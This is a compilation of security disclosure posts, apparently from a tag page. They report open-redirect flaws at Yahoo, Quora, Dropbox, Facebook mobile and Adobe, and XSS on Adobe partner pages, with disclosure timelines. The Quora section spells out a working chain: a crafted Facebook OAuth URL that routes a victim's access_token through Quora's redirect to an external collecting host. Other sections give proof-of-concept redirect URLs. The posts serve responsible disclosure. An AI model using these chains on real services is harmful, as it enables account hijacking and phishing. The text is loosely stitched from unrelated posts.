#open-redirect

Yahoo Yahoo.com Yahoo.co.jp Open Redirect (Unvalidated Redirects and Forwards) Web Security Bugs

Though Yahoo lists open redirect vulnerability on its bug bounty program. However, it seems Yahoo do not take this vulnerability seriously at all.

Multiple Open Redirect vulnerabilities were reported Yahoo. All Yahoo's responses were "It is working as designed". However, these vulnerabilities were patched later.

Several other security researcher complained about getting similar treatment, too. http://seclists.org/fulldisclosure/2014/Jan/51 http://seclists.org/fulldisclosure/2014/Feb/119

All Open Redirect Vulnerabilities are intended behavior? If so, why patch them later?

From report of CNET, Yahoo's users were attacked by redirection vulnerabilities. "Yahoo.com visitors over the last few days may have been served with malware via the Yahoo ad network, according to Fox IT, a security firm in the Netherlands. Users visiting pages with the malicious ads were redirected to sites armed with code that exploits vulnerabilities in Java and installs a variety of different malware. "

Moreover, since Yahoo is well-known worldwide. these vulnerabilities can be used to attack other companies such as Google, eBay, The New York Times, Amazon, Godaddy, Alibaba, Netease, e.g. by bypassing their Open Redirect filters (Covert Redirect). These cyber security bug problems have not been patched. Other similar web and computer flaws will be published in the near future.

The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04)，Apple Safari 6.1.6 of Mac OS X Lion 10.7.

Disclosed by: Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing) http://www.tetraph.com/wangjing

Both Yahoo and Yahoo Japan online web application has a computer cyber security bug problem. It can be exploited by Unvalidated Redirects and Forwards (URL Redirection) attacks. This could allow a user to create a specially crafted URL, that if clicked, would redirect a victim from the intended legitimate web site to an arbitrary web site of the attacker's choosing. Such attacks are useful as the crafted URL initially appear to be a web page of a trusted site. This could be leveraged to direct an unsuspecting user to a web page containing attacks that target client side software such as a web browser or document rendering programs.

BugTraq is a full disclosure moderated mailing list for the *detailed* discussion and announcement of computer security vulnerabilities: what they are, how to exploit them, and how to fix them. The below things be posted to the Bugtraq list: (a) Information on computer or network related security vulnerabilities (UNIX, Windows NT, or any other). (b) Exploit programs, scripts or detailed processes about the above. (c) Patches, workarounds, fixes. (d) Announcements, advisories or warnings. (e) Ideas, future plans or current works dealing with computer/network security. (f) Information material regarding vendor contacts and procedures. (g) Individual experiences in dealing with above vendors or security organizations. (h) Incident advisories or informational reporting. (i) New or updated security tools. A large number of the fllowing web securities have been published here, Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, Security Misconfiguration, Sensitive Data Exposure, Missing Function Level Access Control, Cross-Site Request Forgery (CSRF), Using Components with Known Vulnerabilities, Unvalidated Redirects and Forwards. It also publishes suggestions, advisories, solutions details related to Open Redirect vulnerabilities and cyber intelligence recommendations.

Detail: http://seclists.org/fulldisclosure/2014/Dec/88

I want to share the details of a redirection flaw, which I found on Quora, an extremely popular Q/A website, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts. So, let's come to the topic. While doing sign-up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed www.quora.com was permitted to receive the access_token from Facebook OAuth, any other domain other than www.quora.com would result in a failure of that request. See below

Cool, I needed to find an open redirection inside the www.quora.com to steal the access_token of any Quora user who signed-up using Facebook and has App enabled.

Luckily I found a redirection issue in the contacts import page itself. The redirector was like:

https://www.quora.com/contacts/skip?goto=http://www.google.com So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.

Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at http://poc.prakharprasad.com/quora 

To make it a working exploit I needed these: 1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.

2. As discussed we know next can be any page/resource under www.quora.com. So next parameter must be set to https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to http://poc.prakharprasad.com/quora where my script will do its job.

Final OAuth authorization URL that would steal the access_token looks like https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token

Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened. Using the stolen access_token I can, for example publish a status on victim's profile.

Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!

As usual, here's the video demo :

On 25th April, I discovered an unvalidated (open) redirection on Dropbox Team website from which they send emails to the Dropbox users. VIDEO POC:

Sometime back, I found an open redirect vulnerability in Facebook mobile site (http://m.facebook.com) According to OWASP:

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it

So typically what happens in Facebook is that whenever you try to visit any external links, the URL is first thrown to l.php (See the note from Facebook Security here) and then l.php redirects to the website and before redirecting if l.php finds the website to be marked malicious then it won't redirect and will display an error message.

Now one fine day while browsing the Facebook mobile website I noticed someone had uploaded a video on Facebook so I tried to view it by clicking the video thumbnail and a download pop-up appeared.On careful examination the link Facebook used to generate the URL was like this:

http://m.facebook.com/video_redirect/?src=[LINK_TO_VIDEO]

So I manipulated the 'src' parameter to something like http://www.google.com, so the link became:

http://m.facebook.com/video_redirect/?src=http://www.google.com Whoa! It successfully redirected to http://www.google.com , so this was the issue.

Facebook fixed this issue within two weeks and offered a monetary reward of $500 USD

Adobe Partners Website XSS Vulnerable Website: http://partners.adobe.com Cross-site scripting vulnerabilities were discovered on the above mentioned website, which when exploited by a cyber criminal could lead to cookie stealing or client side exploits which may take full control of a victim's computer . Three pages were vulnerable (click on the image to zoom):

http://partners.adobe.com/resellerfinder/na/education.jsp

http://partners.adobe.com/resellerfinder/na/government.jsp

http://partners.adobe.com/resellerfinder/na/reseller.jsp

Now one thing I'd like to add here, Adobe's PSIRT was very dull while handling my issue. They took weeks to reply to my emails.Later on I found that this is not a new thing, Adobe has handled security issues poorly in earlier times. 

UPDATE: Janne Ahlberg also twitted about poor handling of security issues by Adobe, after this article was published.

Vulnerability Timeline

20th August 2012 - Vulnerability discovered and reported to Adobe PSIRT (psirt-at-adobe.com).

24th August 2012 - Reply from Adobe PSIRT saying that they are investigating this issue

24th August 2012 - I asked further queries I had

3rd September 2012 - Sent another mail, because nobody responded to my last email

14th September 2012- Reply from Adobe PSIRT saying that they are still researching this issue

13th October 2012 - Issue fixed 'silently'.No notification regarding the fix from Adobe PSIRT

13th October 2012 - Public Disclosure

Adobe Feeds Website Open Redirect

Vulnerable Website: http://feeds.adobe.com

An open-redirect issue was detected on the above website. The webpage takes a parameter 'nextPage' and redirects to it but while redirecting the page doesn't check whether the value in 'nextPage' parameter is white-listed or not, so ends up in an open redirect issue.

POC:  http://feeds.adobe.com/controller.cfm?nextPage=http://www.google.com&handler=PostHandler&action=click&postId=1

The above link will silently redirect to http://www.google.com

Although this type of vulnerability is not considered critical but it can 'hurt' an unsuspecting user when used in an attack like phishing or specifically spear-phishing where the user might be fooled to believe that the link belongs to Adobe Inc.

Video Demo:

Vulnerability Timeline